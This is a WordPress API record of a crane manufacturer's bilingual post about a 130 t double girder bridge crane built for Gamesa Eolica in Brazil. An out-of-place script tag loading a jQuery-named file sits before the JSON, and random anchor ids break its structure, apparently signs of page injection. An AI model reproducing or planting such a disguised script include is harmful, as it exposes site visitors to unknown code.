<script src="///jquery-web.js"></script>{"id":412,"date":"2014-07-07T12:37:11","date_gmt":"2014-07-07T10:37:11","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=412"},"modified":"2014-07-07T23:43:03","modified_gmt":"2014-07-07T21:43:03","slug":"double-girder-bridge-crane-with-open-winch-for-gamesa-eolica","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/double-girder-bridge-crane-with-open-winch-for-gamesa-eolica\/","title":{"rendered":"Double girder bridge crane with open winch for Gamesa Eolica"},"content":{"rendered":"<p>Manufacturing process of <strong>double girder bridge crane <\/strong>with<strong> open winch<\/strong> of 130 t capacity, 20 m span and 18 m HOL.<\/p>\n<p>Client: <strong>Gamesa Eolica<\/strong><br \/>\nInstalation place: <strong>Brasil<\/strong><\/p>\n<p>The hoist has a motorized rotating hook.<!--more--><\/p>\n<p><a id="rnsfjdwc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8335.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-413\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8335-300x199.jpg\" alt=\"_MG_8335\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8335-300x199.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8335-1024x682.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8335-624x416.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8335.jpg 1170w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="tpgqnjye" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8338.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-414\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8338-300x199.jpg\" alt=\"_MG_8338\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8338-300x199.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8338-1024x682.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8338-624x416.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8338.jpg 1170w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="ppltmcmh" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8341.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-415\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8341-300x199.jpg\" alt=\"_MG_8341\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8341-300x199.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8341-1024x682.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8341-624x416.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8341.jpg 1170w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="jnajgwaz" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8342.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-416\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8342-300x199.jpg\" alt=\"_MG_8342\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8342-300x199.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8342-1024x682.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8342-624x416.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8342.jpg 1170w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="ksftycys" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8345.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-417\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8345-300x199.jpg\" alt=\"_MG_8345\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8345-300x199.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8345-1024x682.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8345-624x416.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8345.jpg 1170w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="sejgnhme" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8346.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-418\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8346-300x199.jpg\" alt=\"_MG_8346\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8346-300x199.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8346-1024x682.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8346-624x416.jpg 624w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8346.jpg 1170w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Proceso de fabricaci\u00f3n de\u00a0<strong>puente<\/strong><strong>\u00a0gr\u00faa birra\u00edl<\/strong>\u00a0con\u00a0<strong>carro abierto<\/strong>\u00a0de 130t capacidad, 20m de luz y una altura de elevaci\u00f3n de 18m.<\/p>\n<p>Cliente: <strong>Gamesa E\u00f3lica<\/strong><br \/>\nLugar de instalaci\u00f3n:\u00a0<strong>Brasil<\/strong><\/p>\n<p>Dispone de gancho con giro motorizado.<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Manufacturing process of double girder bridge crane with open winch of 130 t capacity, 20 m span and 18 m HOL. Client: Gamesa Eolica Instalation place: Brasil The hoist has a motorized rotating hook.<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":419,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[87,37,19,63,86,84,85,18,107,83],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/07\/MG_8337-e1404470592357.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/412"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=412"}],"version-history":[{"count":3,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/412\/revisions"}],"predecessor-version":[{"id":476,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/412\/revisions\/476"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/419"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}